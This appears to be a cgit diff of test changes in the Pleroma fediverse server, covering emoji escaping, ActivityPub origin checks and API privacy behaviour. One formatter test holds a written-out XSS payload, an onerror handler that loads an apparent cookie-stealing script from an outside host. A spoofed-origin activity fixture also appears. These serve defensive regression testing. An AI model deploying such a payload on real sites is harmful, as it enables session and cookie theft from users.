aboutsummaryrefslogtreecommitdiff
path: root/test
diff options
context:
space:
mode:
Diffstat (limited to 'test')
-rw-r--r--test/fixtures/httpoison_mock/https__info.pleroma.site_activity.json14
-rw-r--r--test/formatter_test.exs27
-rw-r--r--test/support/httpoison_mock.ex8
-rw-r--r--test/web/activity_pub/transmogrifier_test.exs21
-rw-r--r--test/web/mastodon_api/mastodon_api_controller_test.exs50
-rw-r--r--test/web/twitter_api/representers/activity_representer_test.exs2
-rw-r--r--test/web/twitter_api/views/activity_view_test.exs27
-rw-r--r--test/web/twitter_api/views/user_view_test.exs2
8 files changed, 147 insertions, 4 deletions
diff --git a/test/fixtures/httpoison_mock/https__info.pleroma.site_activity.json b/test/fixtures/httpoison_mock/https__info.pleroma.site_activity.json
new file mode 100644
index 000000000..eab0341fe
--- /dev/null
+++ b/test/fixtures/httpoison_mock/https__info.pleroma.site_activity.json
@@ -0,0 +1,14 @@
+{
+ "@context": "https://www.w3.org/ns/activitystreams",
+ "actor": "https://mastodon.example.org/users/admin",
+ "attachment": [],
+ "attributedTo": "https://mastodon.example.org/users/admin",
+ "content": "<p>this post was not actually written by Haelwenn</p>",
+ "id": "https://info.pleroma.site/activity.json",
+ "published": "2018-09-01T22:15:00Z",
+ "tag": [],
+ "to": [
+ "https://www.w3.org/ns/activitystreams#Public"
+ ],
+ "type": "Note"
+}
diff --git a/test/formatter_test.exs b/test/formatter_test.exs
index 95558089b..273eefb8a 100644
--- a/test/formatter_test.exs
+++ b/test/formatter_test.exs
@@ -189,14 +189,39 @@ defmodule Pleroma.FormatterTest do
text = "I love :moominmamma:"
expected_result =
- "I love <img height='32px' width='32px' alt='moominmamma' title='moominmamma' src='/finmoji/128px/moominmamma-128.png' />"
+ "I love <img height=\"32px\" width=\"32px\" alt=\"moominmamma\" title=\"moominmamma\" src=\"/finmoji/128px/moominmamma-128.png\" />"
assert Formatter.emojify(text) == expected_result
end
+ test "it does not add XSS emoji" do
+ text =
+ "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
+
+ custom_emoji = %{
+ "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" =>
+ "https://placehold.it/1x1"
+ }
+
+ expected_result =
+ "I love <img height=\"32px\" width=\"32px\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />"
+
+ assert Formatter.emojify(text, custom_emoji) == expected_result
+ end
+
test "it returns the emoji used in the text" do
text = "I love :moominmamma:"
assert Formatter.get_emoji(text) == [{"moominmamma", "/finmoji/128px/moominmamma-128.png"}]
end
+
+ test "it returns a nice empty result when no emojis are present" do
+ text = "I love moominamma"
+ assert Formatter.get_emoji(text) == []
+ end
+
+ test "it doesn't die when text is absent" do
+ text = nil
+ assert Formatter.get_emoji(text) == []
+ end
end
diff --git a/test/support/httpoison_mock.ex b/test/support/httpoison_mock.ex
index 4ee2feb95..7057f30fb 100644
--- a/test/support/httpoison_mock.ex
+++ b/test/support/httpoison_mock.ex
@@ -3,6 +3,14 @@ defmodule HTTPoisonMock do
def get(url, body \\ [], headers \\ [])
+ def get("https://info.pleroma.site/activity.json", _, _) do
+ {:ok,
+ %Response{
+ status_code: 200,
+ body: File.read!("test/fixtures/httpoison_mock/https__info.pleroma.site_activity.json")
+ }}
+ end
+
def get("https://puckipedia.com/", [Accept: "application/activity+json"], _) do
{:ok,
%Response{
diff --git a/test/web/activity_pub/transmogrifier_test.exs b/test/web/activity_pub/transmogrifier_test.exs
index e2926d495..afa25bb60 100644
--- a/test/web/activity_pub/transmogrifier_test.exs
+++ b/test/web/activity_pub/transmogrifier_test.exs
@@ -798,4 +798,25 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do
assert rewritten["url"] == "http://example.com"
end
end
+
+ describe "actor origin containment" do
+ test "it rejects objects with a bogus origin" do
+ {:error, _} = ActivityPub.fetch_object_from_id("https://info.pleroma.site/activity.json")
+ end
+
+ test "it rejects activities which reference objects with bogus origins" do
+ user = insert(:user, %{local: false})
+
+ data = %{
+ "@context" => "https://www.w3.org/ns/activitystreams",
+ "id" => user.ap_id <> "/activities/1234",
+ "actor" => user.ap_id,
+ "to" => ["https://www.w3.org/ns/activitystreams#Public"],
+ "object" => "https://info.pleroma.site/activity.json",
+ "type" => "Announce"
+ }
+
+ :error = Transmogrifier.handle_incoming(data)
+ end
+ end
end
diff --git a/test/web/mastodon_api/mastodon_api_controller_test.exs b/test/web/mastodon_api/mastodon_api_controller_test.exs
index 770776a3b..e9deae64d 100644
--- a/test/web/mastodon_api/mastodon_api_controller_test.exs
+++ b/test/web/mastodon_api/mastodon_api_controller_test.exs
@@ -206,7 +206,19 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do
|> assign(:user, user)
|> get("/api/v1/accounts/verify_credentials")
- assert %{"id" => id} = json_response(conn, 200)
+ assert %{"id" => id, "source" => %{"privacy" => "public"}} = json_response(conn, 200)
+ assert id == to_string(user.id)
+ end
+
+ test "verify_credentials default scope unlisted", %{conn: conn} do
+ user = insert(:user, %{info: %{"default_scope" => "unlisted"}})
+
+ conn =
+ conn
+ |> assign(:user, user)
+ |> get("/api/v1/accounts/verify_credentials")
+
+ assert %{"id" => id, "source" => %{"privacy" => "unlisted"}} = json_response(conn, 200)
assert id == to_string(user.id)
end
@@ -487,6 +499,30 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do
assert id == to_string(activity_two.id)
end
+
+ test "list timeline does not leak non-public statuses for unfollowed users", %{conn: conn} do
+ user = insert(:user)
+ other_user = insert(:user)
+ {:ok, activity_one} = TwitterAPI.create_status(other_user, %{"status" => "Marisa is cute."})
+
+ {:ok, activity_two} =
+ TwitterAPI.create_status(other_user, %{
+ "status" => "Marisa is cute.",
+ "visibility" => "private"
+ })
+
+ {:ok, list} = Pleroma.List.create("name", user)
+ {:ok, list} = Pleroma.List.follow(list, other_user)
+
+ conn =
+ conn
+ |> assign(:user, user)
+ |> get("/api/v1/timelines/list/#{list.id}")
+
+ assert [%{"id" => id}] = json_response(conn, 200)
+
+ assert id == to_string(activity_one.id)
+ end
end
describe "notifications" do
@@ -810,6 +846,18 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do
assert User.following?(other_user, user) == true
end
+ test "verify_credentials", %{conn: conn} do
+ user = insert(:user, %{info: %{"default_scope" => "private"}})
+
+ conn =
+ conn
+ |> assign(:user, user)
+ |> get("/api/v1/accounts/verify_credentials")
+
+ assert %{"id" => id, "source" => %{"privacy" => "private"}} = json_response(conn, 200)
+ assert id == to_string(user.id)
+ end
+
test "/api/v1/follow_requests/:id/reject works" do
user = insert(:user, %{info: %{"locked" => true}})
other_user = insert(:user)
diff --git a/test/web/twitter_api/representers/activity_representer_test.exs b/test/web/twitter_api/representers/activity_representer_test.exs
index 3f85e028b..894d20049 100644
--- a/test/web/twitter_api/representers/activity_representer_test.exs
+++ b/test/web/twitter_api/representers/activity_representer_test.exs
@@ -126,7 +126,7 @@ defmodule Pleroma.Web.TwitterAPI.Representers.ActivityRepresenterTest do
}
expected_html =
- "<p>2hu</p>alert('YAY')Some <img height='32px' width='32px' alt='2hu' title='2hu' src='corndog.png' /> content mentioning <a href=\"#{
+ "<p>2hu</p>alert('YAY')Some <img height=\"32px\" width=\"32px\" alt=\"2hu\" title=\"2hu\" src=\"corndog.png\" /> content mentioning <a href=\"#{
mentioned_user.ap_id
}\">@shp</a>"
diff --git a/test/web/twitter_api/views/activity_view_test.exs b/test/web/twitter_api/views/activity_view_test.exs
index a101e4ae8..b9a8efdad 100644
--- a/test/web/twitter_api/views/activity_view_test.exs
+++ b/test/web/twitter_api/views/activity_view_test.exs
@@ -126,6 +126,33 @@ defmodule Pleroma.Web.TwitterAPI.ActivityViewTest do
assert result == expected
end
+ test "a like activity for deleted post" do
+ user = insert(:user)
+ other_user = insert(:user, %{nickname: "shp"})
+
+ {:ok, activity} = CommonAPI.post(user, %{"status" => "Hey @shp!"})
+ {:ok, like, _object} = CommonAPI.favorite(activity.id, other_user)
+ CommonAPI.delete(activity.id, user)
+
+ result = ActivityView.render("activity.json", activity: like)
+
+ expected = %{
+ "activity_type" => "like",
+ "created_at" => like.data["published"] |> Utils.date_to_asctime(),
+ "external_url" => like.data["id"],
+ "id" => like.id,
+ "in_reply_to_status_id" => nil,
+ "is_local" => true,
+ "is_post_verb" => false,
+ "statusnet_html" => "shp favorited a status.",
+ "text" => "shp favorited a status.",
+ "uri" => "tag:#{like.data["id"]}:objectType=Favourite",
+ "user" => UserView.render("show.json", user: other_user)
+ }
+
+ assert result == expected
+ end
+
test "an announce activity" do
user = insert(:user)
other_user = insert(:user, %{nickname: "shp"})
diff --git a/test/web/twitter_api/views/user_view_test.exs b/test/web/twitter_api/views/user_view_test.exs
index 24a5c5bca..7075a2370 100644
--- a/test/web/twitter_api/views/user_view_test.exs
+++ b/test/web/twitter_api/views/user_view_test.exs
@@ -22,7 +22,7 @@ defmodule Pleroma.Web.TwitterAPI.UserViewTest do
test "A user with emoji in username", %{user: user} do
expected =
- "<img height='32px' width='32px' alt='karjalanpiirakka' title='karjalanpiirakka' src='/file.png' /> man"
+ "<img height=\"32px\" width=\"32px\" alt=\"karjalanpiirakka\" title=\"karjalanpiirakka\" src=\"/file.png\" /> man"
user = %{
user
generated by cgit v1.2.3 (git 2.26.2) at 2025-04-25 18:32:46 +0000